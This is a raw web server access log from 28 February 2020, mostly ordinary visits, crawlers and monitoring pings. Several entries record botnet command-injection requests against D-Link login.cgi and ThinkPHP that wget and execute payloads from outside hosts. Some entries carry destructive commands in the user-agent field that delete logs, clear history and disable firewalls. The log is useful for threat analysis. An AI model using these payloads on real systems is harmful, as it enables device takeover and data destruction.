188.138.75.107 - - [28/Feb/2020:04:16:50 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [28/Feb/2020:04:16:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [28/Feb/2020:04:16:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
192.241.244.30 - - [28/Feb/2020:04:20:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36"
192.241.244.30 - - [28/Feb/2020:04:20:39 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36"
54.234.183.23 - - [28/Feb/2020:04:22:33 +0100] "\x16\x03\x01\x01D\x01" 501 321 "-" "-"
34.200.250.175 - - [28/Feb/2020:04:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
177.221.183.202 - - [28/Feb/2020:04:30:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
41.228.14.99 - - [28/Feb/2020:04:38:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
177.154.169.130 - - [28/Feb/2020:04:48:54 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
102.141.74.17 - - [28/Feb/2020:04:54:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://157.245.138.189/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
102.141.74.17 - - [28/Feb/2020:04:54:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://157.245.138.189/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
223.149.4.115 - - [28/Feb/2020:04:58:33 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
1.0.214.203 - - [28/Feb/2020:05:05:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://45.148.10.194/mips%20-O%20->%20/tmp/leonn;chmod%20777%20/tmp/leonn;/tmp/leonn%20dlink.mips%27$ HTTP/1.1" 400 329 "-" "botnet/2.0"
185.100.15.32 - - [28/Feb/2020:05:05:55 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
196.213.65.155 - - [28/Feb/2020:05:12:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
187.111.220.58 - - [28/Feb/2020:05:17:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
65.79.208.182 - - [28/Feb/2020:05:18:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
58.142.171.35 - - [28/Feb/2020:05:20:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
189.242.251.43 - - [28/Feb/2020:05:24:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
134.35.166.185 - - [28/Feb/2020:05:27:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
134.35.166.185 - - [28/Feb/2020:05:28:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
134.35.166.185 - - [28/Feb/2020:05:28:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
113.174.69.54 - - [28/Feb/2020:05:28:46 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
91.37.33.63 - - [28/Feb/2020:05:29:32 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
210.186.155.239 - - [28/Feb/2020:05:29:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
190.94.150.142 - - [28/Feb/2020:05:33:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
64.68.228.236 - - [28/Feb/2020:05:33:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
213.248.145.51 - - [28/Feb/2020:05:37:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
186.138.53.101 - - [28/Feb/2020:05:37:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
175.35.173.108 - - [28/Feb/2020:05:39:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
200.207.220.230 - - [28/Feb/2020:05:40:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
41.63.159.250 - - [28/Feb/2020:05:43:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
180.104.7.150 - - [28/Feb/2020:05:47:05 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
106.52.178.254 - - [28/Feb/2020:05:48:47 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.52.178.254 - - [28/Feb/2020:05:48:48 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.52.178.254 - - [28/Feb/2020:05:48:49 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.52.178.254 - - [28/Feb/2020:05:48:50 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.52.178.254 - - [28/Feb/2020:05:48:50 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.52.178.254 - - [28/Feb/2020:05:48:50 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.52.178.254 - - [28/Feb/2020:05:48:51 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.52.178.254 - - [28/Feb/2020:05:48:51 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.52.178.254 - - [28/Feb/2020:05:48:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
42.190.187.91 - - [28/Feb/2020:05:53:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
61.219.11.153 - - [28/Feb/2020:05:57:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
54.36.149.10 - - [28/Feb/2020:05:57:26 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
191.37.194.155 - - [28/Feb/2020:06:00:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
61.219.11.153 - - [28/Feb/2020:06:00:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
61.219.11.153 - - [28/Feb/2020:06:00:38 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
64.246.161.42 - - [28/Feb/2020:06:04:07 +0100] "GET /robots.txt HTTP/1.0" 404 328 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
64.246.161.42 - - [28/Feb/2020:06:04:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
103.224.185.104 - - [28/Feb/2020:06:04:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
49.235.146.76 - - [28/Feb/2020:06:13:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
149.12.219.22 - - [28/Feb/2020:06:14:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://157.245.138.189/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
58.8.75.197 - - [28/Feb/2020:06:14:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
80.90.81.166 - - [28/Feb/2020:06:16:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
66.249.64.41 - - [28/Feb/2020:06:18:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
58.108.172.29 - - [28/Feb/2020:06:28:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
109.60.137.7 - - [28/Feb/2020:06:32:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.35.179.229 - - [28/Feb/2020:06:42:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
1.69.234.87 - - [28/Feb/2020:06:46:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
139.162.106.181 - - [28/Feb/2020:06:48:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
5.101.0.209 - - [28/Feb/2020:06:50:58 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
49.68.246.198 - - [28/Feb/2020:06:52:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
5.101.0.209 - - [28/Feb/2020:06:53:36 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
109.100.20.216 - - [28/Feb/2020:06:59:18 +0100] "GET /shell?busybox HTTP/1.1" 400 329 "-" "Mozilla/5.0"
212.91.246.72 - - [28/Feb/2020:07:00:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:01:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:02:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.196.133.114 - - [28/Feb/2020:07:02:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:07:03:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:04:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:05:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [28/Feb/2020:07:05:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [28/Feb/2020:07:05:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [28/Feb/2020:07:06:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [28/Feb/2020:07:06:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [28/Feb/2020:07:06:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [28/Feb/2020:07:06:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
103.89.56.165 - - [28/Feb/2020:07:06:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:07:07:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:08:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:09:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:10:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.170.120 - - [28/Feb/2020:07:10:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
31.128.21.71 - - [28/Feb/2020:07:11:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [28/Feb/2020:07:11:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:12:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:13:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.75.234.164 - - [28/Feb/2020:07:14:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:07:15:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:16:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:17:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.24.189.136 - - [28/Feb/2020:07:18:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [28/Feb/2020:07:18:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:19:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.102.27.40 - - [28/Feb/2020:07:19:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [28/Feb/2020:07:20:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.100.17.12 - - [28/Feb/2020:07:21:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:07:21:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:22:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:23:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:24:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:25:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:26:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:27:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:28:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:29:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:30:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.101.199.19 - - [28/Feb/2020:07:30:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
109.101.199.19 - - [28/Feb/2020:07:30:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:07:31:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:32:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.167 - - [28/Feb/2020:07:33:41 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [28/Feb/2020:07:34:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:35:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:36:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:37:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:38:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:39:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:40:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:41:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.134.18.204 - - [28/Feb/2020:07:42:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
121.164.35.72 - - [28/Feb/2020:07:42:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [28/Feb/2020:07:42:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [28/Feb/2020:07:42:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [28/Feb/2020:07:42:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
177.38.17.159 - - [28/Feb/2020:07:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
121.164.35.72 - - [28/Feb/2020:07:42:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [28/Feb/2020:07:43:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [28/Feb/2020:07:43:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:44:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:45:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:07:46:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
